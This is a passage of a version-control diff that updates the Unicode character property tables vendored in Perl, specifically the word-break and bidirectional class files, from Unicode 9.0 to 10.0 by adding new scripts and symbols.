 0904..0939    ; ALetter # Lo  [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA
@@ -642,6 +669,7 @@
 09DC..09DD    ; ALetter # Lo   [2] BENGALI LETTER RRA..BENGALI LETTER RHA
 09DF..09E1    ; ALetter # Lo   [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL
 09F0..09F1    ; ALetter # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09FC          ; ALetter # Lo       BENGALI LETTER VEDIC ANUSVARA
 0A05..0A0A    ; ALetter # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
 0A0F..0A10    ; ALetter # Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
 0A13..0A28    ; ALetter # Lo  [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA
@@ -847,7 +875,7 @@
 3005          ; ALetter # Lm       IDEOGRAPHIC ITERATION MARK
 303B          ; ALetter # Lm       VERTICAL IDEOGRAPHIC ITERATION MARK
 303C          ; ALetter # Lo       MASU MARK
-3105..312D    ; ALetter # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; ALetter # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; ALetter # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 31A0..31BA    ; ALetter # Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 A000..A014    ; ALetter # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
@@ -867,10 +895,12 @@
 A6A0..A6E5    ; ALetter # Lo  [70] BAMUM LETTER A..BAMUM LETTER KI
 A6E6..A6EF    ; ALetter # Nl  [10] BAMUM LETTER MO..BAMUM LETTER KOGHOM
 A717..A71F    ; ALetter # Lm   [9] MODIFIER LETTER DOT VERTICAL BAR..MODIFIER LETTER LOW INVERTED EXCLAMATION MARK
+A720..A721    ; ALetter # Sk   [2] MODIFIER LETTER STRESS AND HIGH TONE..MODIFIER LETTER STRESS AND LOW TONE
 A722..A76F    ; ALetter # L&  [78] LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF..LATIN SMALL LETTER CON
 A770          ; ALetter # Lm       MODIFIER LETTER US
 A771..A787    ; ALetter # L&  [23] LATIN SMALL LETTER DUM..LATIN SMALL LETTER INSULAR T
 A788          ; ALetter # Lm       MODIFIER LETTER LOW CIRCUMFLEX ACCENT
+A789..A78A    ; ALetter # Sk   [2] MODIFIER LETTER COLON..MODIFIER LETTER SHORT EQUALS SIGN
 A78B..A78E    ; ALetter # L&   [4] LATIN CAPITAL LETTER SALTILLO..LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT
 A78F          ; ALetter # Lo       LATIN LETTER SINOLOGICAL DOT
 A790..A7AE    ; ALetter # L&  [31] LATIN CAPITAL LETTER N WITH DESCENDER..LATIN CAPITAL LETTER SMALL CAPITAL I
@@ -904,6 +934,7 @@
 AB20..AB26    ; ALetter # Lo   [7] ETHIOPIC SYLLABLE CCHHA..ETHIOPIC SYLLABLE CCHHO
 AB28..AB2E    ; ALetter # Lo   [7] ETHIOPIC SYLLABLE BBA..ETHIOPIC SYLLABLE BBO
 AB30..AB5A    ; ALetter # L&  [43] LATIN SMALL LETTER BARRED ALPHA..LATIN SMALL LETTER Y WITH SHORT RIGHT LEG
+AB5B          ; ALetter # Sk       MODIFIER BREVE WITH INVERTED BREVE
 AB5C..AB5F    ; ALetter # Lm   [4] MODIFIER LETTER SMALL HENG..MODIFIER LETTER SMALL U WITH LEFT HOOK
 AB60..AB65    ; ALetter # L&   [6] LATIN SMALL LETTER SAKHA YAT..GREEK LETTER SMALL CAPITAL OMEGA
 AB70..ABBF    ; ALetter # L&  [80] CHEROKEE SMALL LETTER A..CHEROKEE SMALL LETTER YA
@@ -938,7 +969,7 @@
 10280..1029C  ; ALetter # Lo  [29] LYCIAN LETTER A..LYCIAN LETTER X
 102A0..102D0  ; ALetter # Lo  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 10300..1031F  ; ALetter # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
-10330..10340  ; ALetter # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; ALetter # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; ALetter # Nl       GOTHIC LETTER NINETY
 10342..10349  ; ALetter # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; ALetter # Nl       GOTHIC LETTER NINE HUNDRED
@@ -1024,11 +1055,21 @@
 11680..116AA  ; ALetter # Lo  [43] TAKRI LETTER A..TAKRI LETTER RRA
 118A0..118DF  ; ALetter # L&  [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
 118FF         ; ALetter # Lo       WARANG CITI OM
+11A00         ; ALetter # Lo       ZANABAZAR SQUARE LETTER A
+11A0B..11A32  ; ALetter # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A3A         ; ALetter # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A50         ; ALetter # Lo       SOYOMBO LETTER A
+11A5C..11A83  ; ALetter # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; ALetter # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
 11AC0..11AF8  ; ALetter # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; ALetter # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; ALetter # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
 11C40         ; ALetter # Lo       BHAIKSUKI SIGN AVAGRAHA
 11C72..11C8F  ; ALetter # Lo  [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11D00..11D06  ; ALetter # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; ALetter # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; ALetter # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D46         ; ALetter # Lo       MASARAM GONDI REPHA
 12000..12399  ; ALetter # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; ALetter # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12480..12543  ; ALetter # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
@@ -1044,7 +1085,7 @@
 16F00..16F44  ; ALetter # Lo  [69] MIAO LETTER PA..MIAO LETTER HHA
 16F50         ; ALetter # Lo       MIAO LETTER NASALIZATION
 16F93..16F9F  ; ALetter # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; ALetter # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; ALetter # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 1BC00..1BC6A  ; ALetter # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; ALetter # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; ALetter # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -1118,13 +1159,12 @@
 1F150..1F169  ; ALetter # So  [26] NEGATIVE CIRCLED LATIN CAPITAL LETTER A..NEGATIVE CIRCLED LATIN CAPITAL LETTER Z
 1F170..1F189  ; ALetter # So  [26] NEGATIVE SQUARED LATIN CAPITAL LETTER A..NEGATIVE SQUARED LATIN CAPITAL LETTER Z
 
-# Total code points: 27992
+# Total code points: 28179
 
 # ================================================
 
 003A          ; MidLetter # Po       COLON
 00B7          ; MidLetter # Po       MIDDLE DOT
-02D7          ; MidLetter # Sk       MODIFIER LETTER MINUS SIGN
 0387          ; MidLetter # Po       GREEK ANO TELEIA
 05F4          ; MidLetter # Po       HEBREW PUNCTUATION GERSHAYIM
 2027          ; MidLetter # Po       HYPHENATION POINT
@@ -1132,7 +1172,7 @@
 FE55          ; MidLetter # Po       SMALL COLON
 FF1A          ; MidLetter # Po       FULLWIDTH COLON
 
-# Total code points: 9
+# Total code points: 8
 
 # ================================================
 
@@ -1217,12 +1257,13 @@
 11730..11739  ; Numeric # Nd  [10] AHOM DIGIT ZERO..AHOM DIGIT NINE
 118E0..118E9  ; Numeric # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 11C50..11C59  ; Numeric # Nd  [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
+11D50..11D59  ; Numeric # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 16A60..16A69  ; Numeric # Nd  [10] MRO DIGIT ZERO..MRO DIGIT NINE
 16B50..16B59  ; Numeric # Nd  [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE
 1D7CE..1D7FF  ; Numeric # Nd  [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE
 1E950..1E959  ; Numeric # Nd  [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE
 
-# Total code points: 571
+# Total code points: 581
 
 # ================================================
 
@@ -1242,8 +1283,9 @@
 26F9          ; E_Base # So       PERSON WITH BALL
 270A..270D    ; E_Base # So   [4] RAISED FIST..WRITING HAND
 1F385         ; E_Base # So       FATHER CHRISTMAS
-1F3C3..1F3C4  ; E_Base # So   [2] RUNNER..SURFER
-1F3CA..1F3CB  ; E_Base # So   [2] SWIMMER..WEIGHT LIFTER
+1F3C2..1F3C4  ; E_Base # So   [3] SNOWBOARDER..SURFER
+1F3C7         ; E_Base # So       HORSE RACING
+1F3CA..1F3CC  ; E_Base # So   [3] SWIMMER..GOLFER
 1F442..1F443  ; E_Base # So   [2] EAR..NOSE
 1F446..1F450  ; E_Base # So  [11] WHITE UP POINTING BACKHAND INDEX..OPEN HANDS SIGN
 1F46E         ; E_Base # So       POLICE OFFICER
@@ -1252,7 +1294,7 @@
 1F481..1F483  ; E_Base # So   [3] INFORMATION DESK PERSON..DANCER
 1F485..1F487  ; E_Base # So   [3] NAIL POLISH..HAIRCUT
 1F4AA         ; E_Base # So       FLEXED BICEPS
-1F575         ; E_Base # So       SLEUTH OR SPY
+1F574..1F575  ; E_Base # So   [2] MAN IN BUSINESS SUIT LEVITATING..SLEUTH OR SPY
 1F57A         ; E_Base # So       MAN DANCING
 1F590         ; E_Base # So       RAISED HAND WITH FINGERS SPLAYED
 1F595..1F596  ; E_Base # So   [2] REVERSED HAND WITH MIDDLE FINGER EXTENDED..RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
@@ -1261,13 +1303,15 @@
 1F6A3         ; E_Base # So       ROWBOAT
 1F6B4..1F6B6  ; E_Base # So   [3] BICYCLIST..PEDESTRIAN
 1F6C0         ; E_Base # So       BATH
-1F918..1F91E  ; E_Base # So   [7] SIGN OF THE HORNS..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+1F6CC         ; E_Base # So       SLEEPING ACCOMMODATION
+1F918..1F91C  ; E_Base # So   [5] SIGN OF THE HORNS..RIGHT-FACING FIST
+1F91E..1F91F  ; E_Base # So   [2] HAND WITH INDEX AND MIDDLE FINGERS CROSSED..I LOVE YOU HAND SIGN
 1F926         ; E_Base # So       FACE PALM
-1F930         ; E_Base # So       PREGNANT WOMAN
-1F933..1F939  ; E_Base # So   [7] SELFIE..JUGGLING
-1F93C..1F93E  ; E_Base # So   [3] WRESTLERS..HANDBALL
+1F930..1F939  ; E_Base # So  [10] PREGNANT WOMAN..JUGGLING
+1F93D..1F93E  ; E_Base # So   [2] WATER POLO..HANDBALL
+1F9D1..1F9DD  ; E_Base # So  [13] ADULT..ELF
 
-# Total code points: 79
+# Total code points: 98
 
 # ================================================
 
@@ -1283,11 +1327,28 @@
 
 # ================================================
 
+2640          ; Glue_After_Zwj # So       FEMALE SIGN
+2642          ; Glue_After_Zwj # So       MALE SIGN
+2695..2696    ; Glue_After_Zwj # So   [2] STAFF OF AESCULAPIUS..SCALES
+2708          ; Glue_After_Zwj # So       AIRPLANE
 2764          ; Glue_After_Zwj # So       HEAVY BLACK HEART
+1F308         ; Glue_After_Zwj # So       RAINBOW
+1F33E         ; Glue_After_Zwj # So       EAR OF RICE
+1F373         ; Glue_After_Zwj # So       COOKING
+1F393         ; Glue_After_Zwj # So       GRADUATION CAP
+1F3A4         ; Glue_After_Zwj # So       MICROPHONE
+1F3A8         ; Glue_After_Zwj # So       ARTIST PALETTE
+1F3EB         ; Glue_After_Zwj # So       SCHOOL
+1F3ED         ; Glue_After_Zwj # So       FACTORY
 1F48B         ; Glue_After_Zwj # So       KISS MARK
+1F4BB..1F4BC  ; Glue_After_Zwj # So   [2] PERSONAL COMPUTER..BRIEFCASE
+1F527         ; Glue_After_Zwj # So       WRENCH
+1F52C         ; Glue_After_Zwj # So       MICROSCOPE
 1F5E8         ; Glue_After_Zwj # So       LEFT SPEECH BUBBLE
+1F680         ; Glue_After_Zwj # So       ROCKET
+1F692         ; Glue_After_Zwj # So       FIRE ENGINE
 
-# Total code points: 3
+# Total code points: 22
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/extracted/DBidiClass.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DBidiClass.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DBidiClass.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedBidiClass-9.0.0.txt
-# Date: 2016-06-01, 10:34:22 GMT
-# © 2016 Unicode®, Inc.
+# DerivedBidiClass-10.0.0.txt
+# Date: 2017-03-08, 08:41:46 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -14,44 +14,21 @@
 # reserved for right-to-left scripts are given either types R or AL.
 #
 # The unassigned code points that default to AL are in the ranges:
-#     [\u0600-\u07BF \u08A0-\u08FF \uFB50-\uFDCF \uFDF0-\uFDFF \uFE70-\uFEFF \U0001EE00-\U0001EEFF]
+#     [\u0600-\u07BF \u0860-\u086F \u08A0-\u08FF
+#      \uFB50-\uFDCF \uFDF0-\uFDFF \uFE70-\uFEFF \U0001EE00-\U0001EEFF]
 #
-#     Arabic:            U+0600  -  U+06FF
-#     Syriac:            U+0700  -  U+074F
-#     Arabic_Supplement: U+0750  -  U+077F
-#     Thaana:            U+0780  -  U+07BF
-#     Arabic Extended-A: U+08A0  -  U+08FF
-#     Arabic_Presentation_Forms_A:
-#                        U+FB50  -  U+FDCF
-#                        U+FDF0  -  U+FDFF
-#     Arabic_Presentation_Forms_B:
-#                        U+FE70  -  U+FEFF
-#     Arabic Mathematical Alphabetic Symbols:
-#                       U+1EE00  - U+1EEFF
+#     This includes code points in the Arabic, Syriac, and Thaana blocks, among others.
 #
 # The unassigned code points that default to R are in the ranges:
-#     [\u0590-\u05FF \u07C0-\u089F \uFB1D-\uFB4F \U00010800-\U00010FFF \U0001E800-\U0001EDFF \U0001EF00-\U0001EFFF]
+#     [\u0590-\u05FF \u07C0-\u085F \u0870-\u089F \uFB1D-\uFB4F
+#      \U00010800-\U00010FFF \U0001E800-\U0001EDFF \U0001EF00-\U0001EFFF]
 #
-#     Hebrew:            U+0590  -  U+05FF
-#     NKo:               U+07C0  -  U+07FF
-#     Cypriot_Syllabary: U+10800 - U+1083F
-#     Phoenician:        U+10900 - U+1091F
-#     Lydian:            U+10920 - U+1093F
-#     Meroitic Hieroglyphs:
-#                        U+10980 - U+1099F
-#     Meroitic Cursive:  U+109A0 - U+109FF
-#     Kharoshthi:        U+10A00 - U+10A5F
-#     and any others in the ranges:
-#                        U+0800  -  U+089F,
-#                        U+FB1D  -  U+FB4F,
-#                        U+10840 - U+10FFF,
-#                        U+1E800 - U+1EDFF,
-#                        U+1EF00 - U+1EFFF
+#     This includes code points in the Hebrew, NKo, and Phoenician blocks, among others.
 #
 # The unassigned code points that default to ET are in the range:
 #     [\u20A0-\u20CF]
 #
-#     Currency Symbols:  U+20A0  -  U+20CF
+#     This consists of code points in the Currency Symbols block.
 #
 # The unassigned code points that default to BN have one of the following properties:
 #     Default_Ignorable_Code_Point
@@ -138,6 +115,8 @@
 09F0..09F1    ; L # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
 09F4..09F9    ; L # No   [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN
 09FA          ; L # So       BENGALI ISSHAR
+09FC          ; L # Lo       BENGALI LETTER VEDIC ANUSVARA
+09FD          ; L # Po       BENGALI ABBREVIATION SIGN
 0A03          ; L # Mc       GURMUKHI SIGN VISARGA
 0A05..0A0A    ; L # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
 0A0F..0A10    ; L # Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
@@ -463,6 +442,7 @@
 1CEE..1CF1    ; L # Lo   [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA
 1CF2..1CF3    ; L # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF5..1CF6    ; L # Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7          ; L # Mc       VEDIC SIGN ATIKRAMA
 1D00..1D2B    ; L # L&  [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
 1D2C..1D6A    ; L # Lm  [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
 1D6B..1D77    ; L # L&  [13] LATIN SMALL LETTER UE..LATIN SMALL LETTER TURNED G
@@ -553,7 +533,7 @@
 30A1..30FA    ; L # Lo  [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO
 30FC..30FE    ; L # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; L # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; L # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; L # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; L # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 3190..3191    ; L # So   [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
 3192..3195    ; L # No   [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
@@ -574,7 +554,7 @@
 337B..33DD    ; L # So  [99] SQUARE ERA NAME HEISEI..SQUARE WB
 33E0..33FE    ; L # So  [31] IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE..IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
 3400..4DB5    ; L # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; L # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; L # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; L # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; L # Lm       YI SYLLABLE WU
 A016..A48C    ; L # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -728,7 +708,7 @@
 102A0..102D0  ; L # Lo  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 10300..1031F  ; L # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
 10320..10323  ; L # No   [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
-10330..10340  ; L # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; L # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; L # Nl       GOTHIC LETTER NINETY
 10342..10349  ; L # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; L # Nl       GOTHIC LETTER NINE HUNDRED
@@ -862,6 +842,19 @@
 118E0..118E9  ; L # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 118EA..118F2  ; L # No   [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
 118FF         ; L # Lo       WARANG CITI OM
+11A00         ; L # Lo       ZANABAZAR SQUARE LETTER A
+11A07..11A08  ; L # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A0B..11A32  ; L # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A39         ; L # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3A         ; L # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3F..11A46  ; L # Po   [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A50         ; L # Lo       SOYOMBO LETTER A
+11A57..11A58  ; L # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A5C..11A83  ; L # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; L # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A97         ; L # Mc       SOYOMBO SIGN VISARGA
+11A9A..11A9C  ; L # Po   [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA2  ; L # Po   [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
 11AC0..11AF8  ; L # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; L # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; L # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -877,6 +870,11 @@
 11CA9         ; L # Mc       MARCHEN SUBJOINED LETTER YA
 11CB1         ; L # Mc       MARCHEN VOWEL SIGN I
 11CB4         ; L # Mc       MARCHEN VOWEL SIGN O
+11D00..11D06  ; L # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; L # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; L # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D46         ; L # Lo       MASARAM GONDI REPHA
+11D50..11D59  ; L # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 12000..12399  ; L # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; L # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12470..12474  ; L # Po   [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
@@ -903,10 +901,11 @@
 16F50         ; L # Lo       MIAO LETTER NASALIZATION
 16F51..16F7E  ; L # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
 16F93..16F9F  ; L # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; L # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; L # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; L # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; L # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; L # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; L # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; L # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; L # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; L # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; L # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -975,12 +974,13 @@
 2A700..2B734  ; L # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; L # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; L # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; L # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; L # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 F0000..FFFFD  ; L # Co [65534] <private-use-F0000>..<private-use-FFFFD>
 100000..10FFFD; L # Co [65534] <private-use-100000>..<private-use-10FFFD>
 
-# The above property value applies to 841609 code points not listed here.
-# Total code points: 1097280
+# The above property value applies to 833103 code points not listed here.
+# Total code points: 1097124
 
 # ================================================
 
@@ -1012,7 +1012,8 @@
 0840..0858    ; R # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 085C..085D    ; R # Cn   [2] <reserved-085C>..<reserved-085D>
 085E          ; R # Po       MANDAIC PUNCTUATION
-085F..089F    ; R # Cn  [65] <reserved-085F>..<reserved-089F>
+085F          ; R # Cn       <reserved-085F>
+0870..089F    ; R # Cn  [48] <reserved-0870>..<reserved-089F>
 200F          ; R # Cf       RIGHT-TO-LEFT MARK
 FB1D          ; R # Lo       HEBREW LETTER YOD WITH HIRIQ
 FB1F..FB28    ; R # Lo  [10] HEBREW LIGATURE YIDDISH YOD YOD PATAH..HEBREW LETTER WIDE TAV
@@ -1129,7 +1130,7 @@
 1E960..1EDFF  ; R # Cn [1184] <reserved-1E960>..<reserved-1EDFF>
 1EF00..1EFFF  ; R # Cn [256] <reserved-1EF00>..<reserved-1EFFF>
 
-# Total code points: 4070
+# Total code points: 4054
 
 # ================================================
 
@@ -1187,8 +1188,8 @@
 0E3F          ; ET # Sc       THAI CURRENCY SYMBOL BAHT
 17DB          ; ET # Sc       KHMER CURRENCY SYMBOL RIEL
 2030..2034    ; ET # Po   [5] PER MILLE SIGN..TRIPLE PRIME
-20A0..20BE    ; ET # Sc  [31] EURO-CURRENCY SIGN..LARI SIGN
-20BF..20CF    ; ET # Cn  [17] <reserved-20BF>..<reserved-20CF>
+20A0..20BF    ; ET # Sc  [32] EURO-CURRENCY SIGN..BITCOIN SIGN
+20C0..20CF    ; ET # Cn  [16] <reserved-20C0>..<reserved-20CF>
 212E          ; ET # So       ESTIMATED SYMBOL
 2213          ; ET # Sm       MINUS-OR-PLUS SIGN
 A838          ; ET # Sc       NORTH INDIC RUPEE MARK
@@ -1443,8 +1444,7 @@
 239B..23B3    ; ON # Sm  [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM
 23B4..23DB    ; ON # So  [40] TOP SQUARE BRACKET..FUSE
 23DC..23E1    ; ON # Sm   [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
-23E2..23FE    ; ON # So  [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL
-2400..2426    ; ON # So  [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
+23E2..2426    ; ON # So  [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A    ; ON # So  [11] OCR HOOK..OCR DOUBLE BACKSLASH
 2460..2487    ; ON # No  [40] CIRCLED DIGIT ONE..PARENTHESIZED NUMBER TWENTY
 24EA..24FF    ; ON # No  [22] CIRCLED DIGIT ZERO..NEGATIVE CIRCLED DIGIT ZERO
@@ -1529,7 +1529,7 @@
 2B76..2B95    ; ON # So  [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9    ; ON # So  [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
